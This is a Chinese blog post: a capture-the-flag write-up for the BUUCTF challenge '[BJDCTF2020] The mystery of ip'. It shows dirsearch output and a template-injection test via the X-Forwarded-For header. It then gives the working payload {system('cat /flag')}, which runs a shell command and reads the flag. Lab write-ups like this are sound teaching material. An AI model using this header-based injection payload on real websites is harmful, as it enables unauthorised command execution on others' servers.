当前位置:网站首页>BUUCTF WEB [BJDCTF2020]The mystery of ip
BUUCTF WEB [BJDCTF2020]The mystery of ip
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]The mystery of ip
-
在hint.php中找到一句注释
<!-- Do you know why i know your ip? --> -
在flag.php中看到自己的ip,联想到X-Forwarded-For。使用Hackbar添加一个HTTP头
X-Forwarded-For: 127.0.0.1回显为
Your IP is : 127.0.0.1说明我们获得了可控变量
-
尝试命令注入失败,到这里就没什么思路了,尝试dirsearch看能不能获得什么信息
# Dirsearch started Fri Apr 22 02:06:43 2022 as: dirsearch.py -u http://node4.buuoj.cn:28825/ 200 6KB http://node4.buuoj.cn:28825/.DS_Store 301 169B http://node4.buuoj.cn:28825/css -> REDIRECTS TO: http://node4.buuoj.cn/css/ 200 2KB http://node4.buuoj.cn:28825/flag.php 200 938B http://node4.buuoj.cn:28825/header.php 301 169B http://node4.buuoj.cn:28825/img -> REDIRECTS TO: http://node4.buuoj.cn/img/ 301 169B http://node4.buuoj.cn:28825/libs -> REDIRECTS TO: http://node4.buuoj.cn/libs/ 301 169B http://node4.buuoj.cn:28825/templates_c -> REDIRECTS TO: http://node4.buuoj.cn/templates_c/ 403 555B http://node4.buuoj.cn:28825/templates_c/发现一个名为
/template_c/的文件夹,怀疑存在模板注入 -
将X-Forwarded-For改为
X-Forwarded-For: {6*6}回显为
Your IP is : 36 -
尝试直接读取flag文件
X-Forwarded-For: {system('cat /flag')}回显
Your IP is : flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b} flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124344787
边栏推荐
- Force buckle - 1137 Nth teponacci number
- Running error: unable to find or load the main class com xxx. Application
- 外包干了五年,废了...
- 解锁OpenHarmony技术日!年度盛会,即将揭幕!
- 远程桌面之终端服务器超出了最大允许连接数解决
- QT double buffer drawing
- Qt绘制文字
- 关于使用Go语言创建WebSocket服务浅谈
- Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
- Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").
猜你喜欢

SPSS之单因素方差分析

Pre competition practice of TIANTI competition

Pagoda panel command line help tutorial (including resetting password)

如果你是一个Golang面试官,你会问哪些问题?

31岁才转行程序员,目前34了,我来说说我的经历和一些感受吧...

IDEA 中 .properties文件的中文显示乱码问题的解决办法

力扣刷题之完全二叉树的节点个数

Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres

一个平面设计师的异想世界|ONES 人物

编程辅助工具推荐:图片工具snipaste
随机推荐
Relu function of activation function
uni-app 原生APP-云打包集成极光推送(JG-JPUSH)详细教程
Array---
【Redis 系列】redis 学习十三,Redis 常问简单面试题
Next.js 静态数据生成以及服务端渲染的方式
Symmetric encryption, certificate encryption
The maximum number of remote desktop servers has been exceeded
栈和队列a
I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
QT interprocess communication
画结果图推荐网址
软银愿景基金进军Web3安全行业 领投CertiK 6000万美元新一轮投资
[redis series] redis learning 13. Redis often asks simple interview questions
Markdown grammar learning
CGC: contractual graph clustering for community detection and tracking
力扣刷题之完全二叉树的节点个数
远程桌面之终端服务器超出了最大允许连接数解决
31岁才转行程序员,目前34了,我来说说我的经历和一些感受吧...
Castle. Dynamic proxy implements transaction unit control